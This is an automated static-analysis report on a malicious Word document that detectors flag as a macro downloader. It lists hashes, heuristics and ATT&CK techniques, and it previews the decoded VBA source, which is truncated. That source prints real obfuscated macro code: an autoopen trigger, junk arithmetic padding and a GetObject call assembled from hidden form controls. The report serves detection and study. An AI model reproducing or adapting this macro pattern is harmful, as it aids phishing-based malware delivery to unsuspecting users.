Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16c7269bba293e77…

MALICIOUS

Office (OLE)

204.8 KB Created: 2019-04-03 06:22:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: ea42cb6d270b4cc64af6eb60407a2acf SHA-1: 97380fba01ca0cf768bcaaca8051a1fcd6990b33 SHA-256: 16c7269bba293e77681057618f2a44cc22b1259b1e06576230fee8273dfc4d31
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an autoopen macro. Heuristics indicate the use of GetObject, suggesting an attempt to load and execute external code. The ClamAV detection 'Doc.Downloader.00536d-6922084-0' further supports the downloader functionality. The VBA code itself is heavily obfuscated with complex arithmetic operations and conditional statements, making it difficult to determine the exact payload or download URL. However, the presence of an autoopen macro and the downloader heuristic strongly suggest it's designed to deliver a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.00536d-6922084-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6922084-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22221 bytes
SHA-256: c585ac7ac9c2b59ae45640ce667f54e09ab8a7c89ed72bc4f19e9c21a6d12faf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FXAAUUAB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mo_QUCU"
Attribute VB_Base = "0{CD6805E5-8764-4627-8481-81F349424677}{EE6B9F54-C1D7-465E-87A0-CEB2D7BAD9AB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zAUQUA1"
Attribute VB_Base = "0{51BE674A-4D44-4B34-96A1-A44D43340DE5}{E1781B50-6584-46B4-A9F3-ED89359259F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YoXQA4"
Function uGcAwB()
   If 954234842 = 623926956 Then
   nDAxBQDA = 562512417 - Atn(995007548) / 98567874 / 57720412 * 104824051 - Rnd(AACAGA / CSng(915297871))
   txQ_Qko1 = z_oD4A1A + Tan(168074055) * IAGUUQx - sB1GkBQ4 + (671073863 * 427528300)
End If
   If 133300418 = 313179367 Then
   nAwwAcCk = 145027019 - Atn(869342457) / 438135236 / 357184372 * 690765252 - Rnd(D_AAAAX / CSng(719198065))
   VDAAAkC = Po4ABUCG + Tan(88185581) * rGUADGc - hBABGZAk + (486084587 * 390129124)
End If
   If 727611335 = 884351044 Then
   IU4xADU = 751139596 - Atn(864456515) / 544151790 / 504894783 * 543869322 - Rnd(BcAQUB4o / CSng(129802369))
   lUcACAUA = l1DBXxUA + Tan(4344079) * CXAQwXX - PBAAAGAA + (900083805 * 748228244)
End If
End Function
Sub autoopen()
CAAAX_X
End Sub
Function CAAAX_X()
On Error Resume Next
   If 311781104 = 614520040 Then
   RAAAAZA = 658600962 - Atn(507437951) / 390283147 / 327326000 * 555245021 - Rnd(EAUBUDCU / CSng(231796796))
   XADDCUw = ikDAXAA + Tan(814511031) * zBDxAw - uCBCwXD + (599383606 * 197702307)
End If
   If 192521223 = 398137964 Then
   JADAAXAk = 352270834 - Atn(642337229) / 25370581 / 44539796 * 342154251 - Rnd(RwABDwxA / CSng(698157259))
   BDQ4AZcA = doAUQCBQ + Tan(985452927) * G_BQkAx - VGwDAU + (321509322 * 750719161)
End If
Set wQoD1ZUA = GetObject(mo_QUCU.wUxkko + zAUQUA1.PXAXkwo + mo_QUCU.wUxkko.ControlTipText)
   If 99247234 = 694219034 Then
   DBkZoUAc = 209844616 - Atn(641804525) / 48730964 / 89661484 * 240312150 - Rnd(lAAo1AAX / CSng(774257021))
   M1CAQU1A = CxCZAGZ + Tan(641688001) * l4AQZGBo - hDcA_QxC + (102480350 * 639037287)
End If
   If 495581778 = 958501141 Then
   QUAwx_Q = 92265627 - Atn(947920079) / 184839175 / 510788531 * 509551362 - Rnd(pZkQkB / CSng(299446544))
   CA11AU = wxUACGA + Tan(92313236) * jB1DUBC - iUADXD + (622690051 * 676865591)
End If
   If 82866246 = 495707746 Then
   XoUAQB = 342530488 - Atn(298540636) / 120247757 / 101600389 * 749192648 - Rnd(WADDDQ / CSng(898417652))
   iADZAG = LAkAAA + Tan(225238488) * cxAGoA - OBA_AUB + (535912738 * 128107355)
End If
If 922403 = 922403 Then
   If 441773021 = 58539964 Then
   fAAAUB = 163192969 - Atn(218325232) / 444768466 / 990981723 * 996148065 - Rnd(PZxAAo / CSng(419634362))
   EA_C11 = iAAAABU + Tan(170542457) * iA_AAA_A - VAXcBQU + (990938202 * 973553041)
End If
   If 600338659 = 737130807 Then
   T_DUAA = 927171026 - Atn(270359631) / 77822336 / 658776429 * 930654631 - Rnd(uAAU4D / CSng(750410525))
   nGABQwA = AoUBXAUo + Tan(941273226) * jAQUZ1 - BcGCAoUA + (643644574 * 948978236)
End If
   If 616876837 = 911967604 Then
   oBADwGA = 433590315 - Atn(122993190) / 54730617 / 134767080 * 913716336 - Rnd(DcA_QBAA / CSng(141361895))
   qAXAABB = hBx_AB + Tan(391952498) * OQ_DCo - HUAAoA1A + (396564851 * 238719972)
End If
wQoD1ZUA. _
ShOwWiNdOw = mo_QUCU.tDGAGCA - mo_QUCU.tDGAGCA + mo_QUCU.tDGAGCA + mo_QUCU.tDGAGCA + mo_QUCU.tDGAGCA
   If 582471378 = 581594468 Then
   bDBBQAAG = 879461322 - Atn(577312216) / 817413477 / 890491562 * 197033146 - Rnd(hQAAAAA / CSng(123683436))
   jAc4xAAA = BDAU
... (truncated)